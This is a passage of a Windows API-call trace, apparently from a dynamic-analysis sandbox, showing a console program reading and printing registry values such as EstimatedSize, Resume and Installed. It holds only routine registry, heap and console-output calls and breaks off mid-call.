[0151.206] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.206] GetProcessHeap () returned 0x3c0000 [0151.206] GetProcessHeap () returned 0x3c0000 [0151.206] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.206] GetProcessHeap () returned 0x3c0000 [0151.206] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xcc [0151.206] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.206] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.207] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.207] GetProcessHeap () returned 0x3c0000 [0151.207] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.207] GetProcessHeap () returned 0x3c0000 [0151.207] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.207] GetProcessHeap () returned 0x3c0000 [0151.207] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.207] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x55ff, pcbData=0x29f780*=0x4) returned 0x0 [0151.207] __iob_func () returned 0x7fefd702a80 [0151.207] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.207] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.207] _fileno (_File=0x7fefd702ab0) returned 1 [0151.207] _errno () returned 0x204bb0 [0151.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.207] _errno () returned 0x204bb0 [0151.207] GetFileType (hFile=0x50) returned 0x1 [0151.207] lstrlenW (lpString=" ") returned 4 [0151.207] GetConsoleOutputCP () returned 0x1b5 [0151.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.207] GetConsoleOutputCP () returned 0x1b5 [0151.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.207] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.207] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.207] lstrlenW (lpString="EstimatedSize") returned 13 [0151.207] __iob_func () returned 0x7fefd702a80 [0151.207] _fileno (_File=0x7fefd702ab0) returned 1 [0151.207] _errno () returned 0x204bb0 [0151.207] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.207] _errno () returned 0x204bb0 [0151.207] GetFileType (hFile=0x50) returned 0x1 [0151.208] lstrlenW (lpString="EstimatedSize") returned 13 [0151.208] GetConsoleOutputCP () returned 0x1b5 [0151.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.208] GetConsoleOutputCP () returned 0x1b5 [0151.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0151.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.208] __iob_func () returned 0x7fefd702a80 [0151.208] _fileno (_File=0x7fefd702ab0) returned 1 [0151.208] _errno () returned 0x204bb0 [0151.208] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.208] _errno () returned 0x204bb0 [0151.208] GetFileType (hFile=0x50) returned 0x1 [0151.208] lstrlenW (lpString=" ") returned 4 [0151.208] GetConsoleOutputCP () returned 0x1b5 [0151.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.208] GetConsoleOutputCP () returned 0x1b5 [0151.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.208] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.208] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.208] __iob_func () returned 0x7fefd702a80 [0151.209] _fileno (_File=0x7fefd702ab0) returned 1 [0151.209] _errno () returned 0x204bb0 [0151.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.209] _errno () returned 0x204bb0 [0151.209] GetFileType (hFile=0x50) returned 0x1 [0151.209] lstrlenW (lpString="REG_DWORD") returned 9 [0151.209] GetConsoleOutputCP () returned 0x1b5 [0151.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.209] GetConsoleOutputCP () returned 0x1b5 [0151.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.209] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.209] __iob_func () returned 0x7fefd702a80 [0151.209] _fileno (_File=0x7fefd702ab0) returned 1 [0151.209] _errno () returned 0x204bb0 [0151.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.209] _errno () returned 0x204bb0 [0151.209] GetFileType (hFile=0x50) returned 0x1 [0151.209] lstrlenW (lpString=" ") returned 4 [0151.209] GetConsoleOutputCP () returned 0x1b5 [0151.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.209] GetConsoleOutputCP () returned 0x1b5 [0151.209] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.209] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.210] __iob_func () returned 0x7fefd702a80 [0151.210] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.210] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x55ff") returned 6 [0151.210] _fileno (_File=0x7fefd702ab0) returned 1 [0151.210] _errno () returned 0x204bb0 [0151.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.210] _errno () returned 0x204bb0 [0151.210] GetFileType (hFile=0x50) returned 0x1 [0151.210] lstrlenW (lpString="0x55ff") returned 6 [0151.210] GetConsoleOutputCP () returned 0x1b5 [0151.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x55ff", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.210] GetConsoleOutputCP () returned 0x1b5 [0151.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x55ff", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x55ff", lpUsedDefaultChar=0x0) returned 6 [0151.210] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.210] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.210] __iob_func () returned 0x7fefd702a80 [0151.210] _fileno (_File=0x7fefd702ab0) returned 1 [0151.210] _errno () returned 0x204bb0 [0151.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.210] _errno () returned 0x204bb0 [0151.210] GetFileType (hFile=0x50) returned 0x1 [0151.210] lstrlenW (lpString="\n") returned 1 [0151.210] GetConsoleOutputCP () returned 0x1b5 [0151.210] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.211] GetConsoleOutputCP () returned 0x1b5 [0151.211] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.211] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.211] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.211] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.211] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.211] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.211] GetProcessHeap () returned 0x3c0000 [0151.211] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.211] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0151.211] __iob_func () returned 0x7fefd702a80 [0151.211] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.211] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.211] _fileno (_File=0x7fefd702ab0) returned 1 [0151.211] _errno () returned 0x204bb0 [0151.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.211] _errno () returned 0x204bb0 [0151.211] GetFileType (hFile=0x50) returned 0x1 [0151.211] lstrlenW (lpString=" ") returned 4 [0151.211] GetConsoleOutputCP () returned 0x1b5 [0151.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.212] GetConsoleOutputCP () returned 0x1b5 [0151.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.212] lstrlenW (lpString="Resume") returned 6 [0151.212] __iob_func () returned 0x7fefd702a80 [0151.212] _fileno (_File=0x7fefd702ab0) returned 1 [0151.212] _errno () returned 0x204bb0 [0151.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.212] _errno () returned 0x204bb0 [0151.212] GetFileType (hFile=0x50) returned 0x1 [0151.212] lstrlenW (lpString="Resume") returned 6 [0151.212] GetConsoleOutputCP () returned 0x1b5 [0151.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.212] GetConsoleOutputCP () returned 0x1b5 [0151.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0151.212] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.212] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.212] __iob_func () returned 0x7fefd702a80 [0151.212] _fileno (_File=0x7fefd702ab0) returned 1 [0151.212] _errno () returned 0x204bb0 [0151.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.212] _errno () returned 0x204bb0 [0151.212] GetFileType (hFile=0x50) returned 0x1 [0151.213] lstrlenW (lpString=" ") returned 4 [0151.213] GetConsoleOutputCP () returned 0x1b5 [0151.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.213] GetConsoleOutputCP () returned 0x1b5 [0151.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.213] __iob_func () returned 0x7fefd702a80 [0151.213] _fileno (_File=0x7fefd702ab0) returned 1 [0151.213] _errno () returned 0x204bb0 [0151.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.213] _errno () returned 0x204bb0 [0151.213] GetFileType (hFile=0x50) returned 0x1 [0151.213] lstrlenW (lpString="REG_DWORD") returned 9 [0151.213] GetConsoleOutputCP () returned 0x1b5 [0151.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.213] GetConsoleOutputCP () returned 0x1b5 [0151.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.213] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.213] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.214] __iob_func () returned 0x7fefd702a80 [0151.214] _fileno (_File=0x7fefd702ab0) returned 1 [0151.214] _errno () returned 0x204bb0 [0151.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.214] _errno () returned 0x204bb0 [0151.214] GetFileType (hFile=0x50) returned 0x1 [0151.214] lstrlenW (lpString=" ") returned 4 [0151.214] GetConsoleOutputCP () returned 0x1b5 [0151.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.214] GetConsoleOutputCP () returned 0x1b5 [0151.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.214] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.214] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.214] __iob_func () returned 0x7fefd702a80 [0151.214] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.214] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0151.214] _fileno (_File=0x7fefd702ab0) returned 1 [0151.214] _errno () returned 0x204bb0 [0151.214] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.214] _errno () returned 0x204bb0 [0151.214] GetFileType (hFile=0x50) returned 0x1 [0151.214] lstrlenW (lpString="0x3") returned 3 [0151.214] GetConsoleOutputCP () returned 0x1b5 [0151.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.215] GetConsoleOutputCP () returned 0x1b5 [0151.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0151.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.215] __iob_func () returned 0x7fefd702a80 [0151.215] _fileno (_File=0x7fefd702ab0) returned 1 [0151.215] _errno () returned 0x204bb0 [0151.215] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.215] _errno () returned 0x204bb0 [0151.215] GetFileType (hFile=0x50) returned 0x1 [0151.215] lstrlenW (lpString="\n") returned 1 [0151.215] GetConsoleOutputCP () returned 0x1b5 [0151.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.215] GetConsoleOutputCP () returned 0x1b5 [0151.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.215] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.215] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.215] GetProcessHeap () returned 0x3c0000 [0151.215] GetProcessHeap () returned 0x3c0000 [0151.215] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.215] GetProcessHeap () returned 0x3c0000 [0151.215] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.215] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.215] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.216] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.216] GetProcessHeap () returned 0x3c0000 [0151.216] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.216] GetProcessHeap () returned 0x3c0000 [0151.216] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.216] GetProcessHeap () returned 0x3c0000 [0151.216] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.216] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.216] __iob_func () returned 0x7fefd702a80 [0151.216] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.216] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.216] _fileno (_File=0x7fefd702ab0) returned 1 [0151.216] _errno () returned 0x204bb0 [0151.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.216] _errno () returned 0x204bb0 [0151.216] GetFileType (hFile=0x50) returned 0x1 [0151.216] lstrlenW (lpString=" ") returned 4 [0151.216] GetConsoleOutputCP () returned 0x1b5 [0151.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.216] GetConsoleOutputCP () returned 0x1b5 [0151.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.216] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.216] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.216] lstrlenW (lpString="Installed") returned 9 [0151.216] __iob_func () returned 0x7fefd702a80 [0151.216] _fileno (_File=0x7fefd702ab0) returned 1 [0151.216] _errno () returned 0x204bb0 [0151.216] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.216] _errno () returned 0x204bb0 [0151.216] GetFileType (hFile=0x50) returned 0x1 [0151.217] lstrlenW (lpString="Installed") returned 9 [0151.217] GetConsoleOutputCP () returned 0x1b5 [0151.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.217] GetConsoleOutputCP () returned 0x1b5 [0151.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0151.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.217] __iob_func () returned 0x7fefd702a80 [0151.217] _fileno (_File=0x7fefd702ab0) returned 1 [0151.217] _errno () returned 0x204bb0 [0151.217] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.217] _errno () returned 0x204bb0 [0151.217] GetFileType (hFile=0x50) returned 0x1 [0151.217] lstrlenW (lpString=" ") returned 4 [0151.217] GetConsoleOutputCP () returned 0x1b5 [0151.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.217] GetConsoleOutputCP () returned 0x1b5 [0151.217] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.217] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.217] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.218] __iob_func () returned 0x7fefd702a80 [0151.218] _fileno (_File=0x7fefd702ab0) returned 1 [0151.218] _errno () returned 0x204bb0 [0151.218] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.218] _errno () returned 0x204bb0 [0151.218] GetFileType (hFile=0x50) returned 0x1 [0151.218] lstrlenW (lpString="REG_DWORD") returned 9 [0151.218] GetConsoleOutputCP () returned 0x1b5 [0151.218] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 